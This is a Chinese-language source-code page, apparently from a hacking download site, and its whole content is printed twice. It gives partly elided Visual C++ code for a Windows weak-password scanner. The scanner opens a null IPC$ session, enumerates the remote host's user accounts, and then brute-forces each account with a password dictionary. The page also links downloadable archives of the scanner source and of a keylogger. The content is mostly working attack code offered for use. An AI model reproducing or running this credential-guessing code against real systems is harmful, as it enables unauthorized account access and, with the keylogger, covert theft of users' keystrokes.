[编程源码]VC 弱口令扫描 键盘记录
//
typedef struct { //用户结构
TCHAR name[MAX_NAME_PWD_LEN];//用户名,Unicode字符
int usertype;//用户的类型,2为administrators组,1为users组,0为guests组。
void* user_next; //下一个的指针
}USER, *LPUSER;
typedef struct { //密码结构
TCHAR pwd[MAX_NAME_PWD_LEN]; //密码,Unicode字符
void* pwd_next; //下一个的指针
}PWD, *LPPWD;
int getuser(char* server, LPUSER user)函数,用于获取用户列表:
int getuser(char* server, LPUSER user)
{
NETRESOURCE netresource; // 这是一个网络资源的结构
…………(略部分申明变量和赋值代码,下同)
sprintf (ipc, "\\\\%s\\ipc$", server); //变成\\ip\ipc$格式
MultiByteToWideChar (CP_ACP,0, ipc,-1,Tipc,MAX_PATH); // Tipc为ipc 的Unicode字串
MultiByteToWideChar (CP_ACP,0, server,-1,Tserver,MAX_PATH);
…………
netresource.lpRemoteName =Tipc; //将Tipc赋给netresource
//******试着建立空会话 ****
result=WNetAddConnection2(&netresource,_T(""),_T(""),0); if(result!=ERROR_SUCCESS) {
printf("\nConnect IPC$ Failed.\n");
return -1; //失败,返回-1
}
//******试着获得用户列表****
LPUSER_INFO_1 pBuf_1 = NULL, pTmpBuf_1; //两个USER_INFO_1结构指针
DWORD dwLevel=1;
…………
nStatus = NetUserEnum(Tserver, dwLevel, // level 1级,用USER_INFO_1结构
FILTER_NORMAL_ACCOUNT, // 获得所有的用户
(LPBYTE*)&pBuf_1, //返回的用户缓冲区的指针
dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{ if ((pTmpBuf_1 = pBuf_1) != NULL) //如果成功获得用户的列表
{
for (i = 0; (i<dwEntriesRead); i++) //将用户信息逐个赋给用户链表
{
_tcscpy (usernow->name,pTmpBuf_1->usri1_name); //用户名
usernow->usertype = pTmpBuf_1->usri1_priv; //用户的权限,也就是组别
if( i!=dwEntriesRead-1){ //如果不是最后一个用户
usernow->user_next=new USER; // 就向内存申请一个USER结构
usernow = (USER *)usernow->user_next; // usernow指向新申请的USER
}
pTmpBuf_1++;
} } } //end for
usernow->user_next=NULL; //最后一个USER的指针设为NULL
//******断开空会话 ****
result=WNetCancelConnection2(Tipc,0,TRUE);
…………
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
printf("Get user list Success.\n"); return 0; } //成功获得用户列表,返回0
else
{printf("Cannot get user list.\n"); return -1;} //否则,返回-1
int main( int argc, char *argv[ ] ),主函数:
int main( int argc, char *argv[] )
{
USER user;
LPUSER usernow=&user;
PWD pwd;
LPPWD pwdnow=&pwd; //定义USER和PWD,分别用于制做用户和密码链表
if (argc!=3) {useage();return -1;}
…………(省略将字典文件读入密码列表的代码)
if (getuser(argv[1] ,&user)) return -1; //调用getuser函数,用于获取用户列表
usernow=&user; //将usernow指针指向用户链表开始处
…………
wprintf(_T("scanning...\n")); //开始扫描
while(usernow )
{
while(pwdnow)
{
if(!_tcsnccmp(pwdnow->pwd,_T("%user%"),6)){ //如果密码中有%user%就用用户名替换
_tcscpy(TempPwd,usernow->name);
_tcscat(TempPwd,pwdnow->pwd+6);
}
else tcscpy(TempPwd,pwdnow->pwd);
result=WNetAddConnection2(&netresource,TempPwd,usernow->name,0);
if(result==ERROR_SUCCESS) //如果成功
{
…………(省略将结果输出的代码)
result=WNetCancelConnection2(Tipc,0,TRUE); //记得将连接断开
…………
break; //跳出,扫描下一个用户
}
pwdnow =(LPPWD)pwdnow->pwd_next;// pwdnow指向下一个密码
}//end while(pwdnow)
pwdnow=&pwd; // 一个用户试过所有的密码后,pwdnow指向第一个密码,开始扫描下一个用户
usernow = (LPUSER)usernow->user_next; // pwdnow指向下一个用户
}//end while(usernow )
return 0
}
点击进入下载-VC源码___弱口令扫描器源码.rar
点击进入下载-VC源码___键盘记录器.rar
typedef struct { //用户结构
TCHAR name[MAX_NAME_PWD_LEN];//用户名,Unicode字符
int usertype;//用户的类型,2为administrators组,1为users组,0为guests组。
void* user_next; //下一个的指针
}USER, *LPUSER;
typedef struct { //密码结构
TCHAR pwd[MAX_NAME_PWD_LEN]; //密码,Unicode字符
void* pwd_next; //下一个的指针
}PWD, *LPPWD;
int getuser(char* server, LPUSER user)函数,用于获取用户列表:
int getuser(char* server, LPUSER user)
{
NETRESOURCE netresource; // 这是一个网络资源的结构
…………(略部分申明变量和赋值代码,下同)
sprintf (ipc, "\\\\%s\\ipc$", server); //变成\\ip\ipc$格式
MultiByteToWideChar (CP_ACP,0, ipc,-1,Tipc,MAX_PATH); // Tipc为ipc 的Unicode字串
MultiByteToWideChar (CP_ACP,0, server,-1,Tserver,MAX_PATH);
…………
netresource.lpRemoteName =Tipc; //将Tipc赋给netresource
//******试着建立空会话 ****
result=WNetAddConnection2(&netresource,_T(""),_T(""),0); if(result!=ERROR_SUCCESS) {
printf("\nConnect IPC$ Failed.\n");
return -1; //失败,返回-1
}
//******试着获得用户列表****
LPUSER_INFO_1 pBuf_1 = NULL, pTmpBuf_1; //两个USER_INFO_1结构指针
DWORD dwLevel=1;
…………
nStatus = NetUserEnum(Tserver, dwLevel, // level 1级,用USER_INFO_1结构
FILTER_NORMAL_ACCOUNT, // 获得所有的用户
(LPBYTE*)&pBuf_1, //返回的用户缓冲区的指针
dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{ if ((pTmpBuf_1 = pBuf_1) != NULL) //如果成功获得用户的列表
{
for (i = 0; (i<dwEntriesRead); i++) //将用户信息逐个赋给用户链表
{
_tcscpy (usernow->name,pTmpBuf_1->usri1_name); //用户名
usernow->usertype = pTmpBuf_1->usri1_priv; //用户的权限,也就是组别
if( i!=dwEntriesRead-1){ //如果不是最后一个用户
usernow->user_next=new USER; // 就向内存申请一个USER结构
usernow = (USER *)usernow->user_next; // usernow指向新申请的USER
}
pTmpBuf_1++;
} } } //end for
usernow->user_next=NULL; //最后一个USER的指针设为NULL
//******断开空会话 ****
result=WNetCancelConnection2(Tipc,0,TRUE);
…………
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
printf("Get user list Success.\n"); return 0; } //成功获得用户列表,返回0
else
{printf("Cannot get user list.\n"); return -1;} //否则,返回-1
int main( int argc, char *argv[ ] ),主函数:
int main( int argc, char *argv[] )
{
USER user;
LPUSER usernow=&user;
PWD pwd;
LPPWD pwdnow=&pwd; //定义USER和PWD,分别用于制做用户和密码链表
if (argc!=3) {useage();return -1;}
…………(省略将字典文件读入密码列表的代码)
if (getuser(argv[1] ,&user)) return -1; //调用getuser函数,用于获取用户列表
usernow=&user; //将usernow指针指向用户链表开始处
…………
wprintf(_T("scanning...\n")); //开始扫描
while(usernow )
{
while(pwdnow)
{
if(!_tcsnccmp(pwdnow->pwd,_T("%user%"),6)){ //如果密码中有%user%就用用户名替换
_tcscpy(TempPwd,usernow->name);
_tcscat(TempPwd,pwdnow->pwd+6);
}
else tcscpy(TempPwd,pwdnow->pwd);
result=WNetAddConnection2(&netresource,TempPwd,usernow->name,0);
if(result==ERROR_SUCCESS) //如果成功
{
…………(省略将结果输出的代码)
result=WNetCancelConnection2(Tipc,0,TRUE); //记得将连接断开
…………
break; //跳出,扫描下一个用户
}
pwdnow =(LPPWD)pwdnow->pwd_next;// pwdnow指向下一个密码
}//end while(pwdnow)
pwdnow=&pwd; // 一个用户试过所有的密码后,pwdnow指向第一个密码,开始扫描下一个用户
usernow = (LPUSER)usernow->user_next; // pwdnow指向下一个用户
}//end while(usernow )
return 0
}
点击进入下载-VC源码___弱口令扫描器源码.rar
点击进入下载-VC源码___键盘记录器.rar